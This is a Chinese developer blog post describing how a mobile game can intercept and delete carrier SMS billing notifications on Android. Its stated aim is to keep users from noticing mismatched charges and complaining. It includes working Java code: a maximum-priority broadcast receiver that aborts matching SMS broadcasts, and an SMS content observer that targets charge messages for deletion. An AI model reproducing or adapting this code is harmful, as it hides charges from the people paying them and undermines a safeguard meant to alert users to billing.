短信拦截思路

项目需求介绍:

由于我们在短代支付中需要通过运营商的途径扣费,而扣费后运营商会给用户发送扣费短信,但是!!由于不同的游戏需要使用同一款短代支付代码(运营商有控制,不会很多,很多游戏只能使用其他游戏的短代代码)的东西,所以,我们需要拦截这个不符合游戏产品的短信,防止用户大量投诉!

 

项目解决思路:

为了用户安全性的提高,谷歌在短信上也做了安全工作!所以就需要不同的方式拦截短信!

 

方案1:

适用场景:4.4以下Android系统

通过设置高优先级的广播来处理,在短信广播发送过来时,我们通过查看短信的内容,

判断我们是否要拦截短信:


/**
 * 开始拦截短信
 *
 * @param context 上下文对象
 * @param address 拦截特定地址的短信
 * @param keyWord 拦截特定关键字的短信
 */
public static void interceptSMS(final Contextcontext, final String address, final String keyWord) {
    broadcastReceiver= new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            //第一步、获取短信的内容和发件人
            StringBuilderbody = new StringBuilder();// 短信内容
            StringBuildernumber = new StringBuilder();// 短信发件人
            Bundlebundle = intent.getExtras();
            if(bundle != null) {
                Object[] _pdus =(Object[]) bundle.get("pdus");
                SmsMessage[] message = new SmsMessage[_pdus.length];
                for (int i= 0; i < _pdus.length;i++) {
                    message[i] =SmsMessage.createFromPdu((byte[])_pdus[i]);
                }
                number.append(message[0].getDisplayOriginatingAddress());
                for (SmsMessage currentMessage : message) {
                    body.append(currentMessage.getDisplayMessageBody());
                }
                String smsBody =body.toString();
                String smsNumber =number.toString();
                if (smsNumber.contains("+86")) {
                    smsNumber = smsNumber.substring(3, smsNumber.length() - 1);
                }

                // 第二步:确认该短信内容是否满足过滤条件
                boolean flags_filter= false;
                if (smsNumber.equals(address)|| smsBody.contains(keyWord)) {// 屏蔽特定手机号发来的短信
                    flags_filter = true;
                }
                // 第三步:取消广播
                if (flags_filter) {
                    this.abortBroadcast();
                    //提醒代码  后期删除掉
                   /*NotificationCompat.Builder builder = new NotificationCompat.Builder(context);
                   builder.setContentTitle("拦截短信").setContentText("拦截手机号为:" + smsNumber + "内容" + smsBody).setSmallIcon(R.mipmap.ic_launcher);
                   builder.setDefaults(NotificationCompat.DEFAULT_LIGHTS);
                    Notificationnotification = builder.build();
                    NotificationManagermanager = (NotificationManager)context.getSystemService(Context.NOTIFICATION_SERVICE);
                    manager.notify(666,notification);*/
                }
            }
        }
    };
    IntentFilter filter = new IntentFilter(SMS_ACTION);
    filter.setPriority(Integer.MAX_VALUE);
    context.registerReceiver(broadcastReceiver, filter);
}

 


方案二:

适用场景:4.4以下Android系统

通过注册短信内容的观察者,当短信内容发生变化时,删除掉特定的短信、

 

测试中出现的问题:

测试机型: 小米2s

1:在删除后 系统短信 界面依旧出现短信提示  1 的问题 (无法解决)

2:在删除过程中,由于onChange()会调用两次,有时会删除两个短信(如果这两个短信一个是最近刚打算拦截的,一个是刚不需要拦截的),有时不会(只有最近刚打算拦截的),

 

解决方法

问题2 这种问题可以解决,就是加一个变量出来,每次调用时判断短信时间与变量是否相同,相同时不掉用,不同是调用,然后给变量赋值为刚才的时间,这样就可以保证每次处理短信处理一次 


/**
 * 短信内容变化监听
 * 现在做的事 特定的地址处理包含特定关键字的短信
 *
 * @param context     上下文对象
 * @param address     拦截地址
 * @param keyWord     拦截消息
 * @param smsObserver接口回调对象
 */
public static void observerSMS(final Context context, @NonNull final String address, @NonNull final String keyWord, final SMSObserver smsObserver) {
    ContentObserver observer = new ContentObserver(new Handler()) {
        private String date = "";
        @Override
        public void onChange(boolean selfChange) {
            super.onChange(selfChange);
            String myaddress = "";
            String body = "";
            String mydate = "";
            ContentResolver resolver = context.getContentResolver();
            Cursor cursor =resolver.query(Uri.parse("content://sms/inbox"), new String[]{"_id", "address", "body", "date"}, null, null, null);
            long id = -1;
            if (cursor.getCount()> 0 &&cursor.moveToFirst()) {
                id = cursor.getLong(0);
                myaddress =cursor.getString(1);
                body = cursor.getString(2);
                mydate =cursor.getString(3);
            }
            cursor.close();
            if (myaddress.equals(address) &&body.contains(keyWord) && !mydate.equals(date)) {
                smsObserver.onOperate();
                date = mydate;
            }
        }
    };
   context.getContentResolver().registerContentObserver(Uri.parse("content://sms/"), true, observer);
}

/**
 * 短信变化回掉接口
 */
public interface SMSObserver {
    voidonOperate();
}


 

方案3:

适用场景:4.4以上Android系统

4.4之后我们就不能通过拦截广播的方式拦截短信了,也不能直接删除短信,但是我们可以通过成为default sms 来做短信拦截,像腾讯管家之类的就是这样做的

 

如果就这样的需求可以查看如何做。。

 

 

但是在游戏产品中是不可能让我们的app成为default sms的

 

最终解决思路:在低版本的情况下,使用广播的拦截方式,在高版本的情况下,只能给予提示或者不提示。。

 

 

 

你可能感兴趣的:(短信拦截思路)